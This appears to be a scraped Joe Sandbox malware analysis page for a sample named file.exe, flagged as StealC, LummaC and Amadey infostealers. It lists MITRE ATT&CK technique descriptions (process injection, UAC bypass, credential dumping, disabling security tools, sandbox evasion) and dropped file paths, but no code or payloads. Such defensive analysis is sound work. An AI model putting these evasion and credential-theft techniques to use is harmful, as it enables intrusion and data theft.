Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\76O2EO62U6RFDJ26N.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\HGRF5Z7TYW7E33AW.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\QQVU8579GXGT7ENXLIPV.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre